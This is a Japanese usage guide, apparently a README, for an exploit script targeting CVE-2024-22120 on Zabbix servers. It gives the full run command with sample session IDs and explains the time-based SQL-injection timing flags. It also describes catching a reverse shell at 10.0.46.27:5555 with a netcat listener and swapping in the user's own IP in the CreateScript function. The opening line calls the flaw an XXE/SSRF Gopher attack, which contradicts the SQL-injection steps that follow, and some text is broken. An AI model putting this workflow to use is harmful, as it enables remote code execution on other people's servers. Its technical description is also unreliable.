
これは CVE-2024-22120 向けのエクスプロイトであり、Gopher ペイロードを用いた XXE 内の SSRF 脆弱性を利用します。
python exploit.py --ip <Zabbix_IP> --sid <LowPrivileged_SID> --hostid <HostID> --phpsessid <PHPSESSID> --false_time <FalseTime> --true_time <TrueTime>
IP 192.168.1.100 で動作しているZabbixサーバーを特定し、以下の詳細を持つ低権限ユーザーにアクセスできるとします。
sid): d82bf6715e1d3c1f25hostid): 10107phpsessid): a4g7f48d9j3r7h8s9gこのスクリプトを使用してRCE脆弱性を悪用したいと考えています。
python exploit.py --ip 192.168.1.100 --sid d82bf6715e1d3c1f25 --hostid 10107 --phpsessid a4g7f48d9j3r7h8s9g --false_time 1 --true_time 3
--ip 192.168.1.100: ZabbixサーバーのIPアドレス。--sid d82bf6715e1d3c1f25: 低権限ユーザーのセッションID。--hostid 10107: 低権限ユーザーがアクセスできるホストのID。--phpsessid a4g7f48d9j3r7h8s9g: リクエストの認証に使用されるPHPセッションID。--false_time 1: SQLインジェクション中に推測が間違っていた場合にスリープする秒数(デフォルトは1秒)。--true_time 3: SQLインジェクション中に推測が正しかった場合にスリープする秒数(デフォルトは3秒)。10.0.46.27:5555)でマシンに接続します。リバースシェルを受け取るために、マシンが指定されたポート(スクリプト内では5555)で待ち受けていることを確認してください。これにはnetcatを使用できます:
nc -lvnp 5555
CreateScript関数内のIP 10.0.46.27とポート5555を、リバースシェルを受け取るための自身のIPと希望のポートに置き換えてください。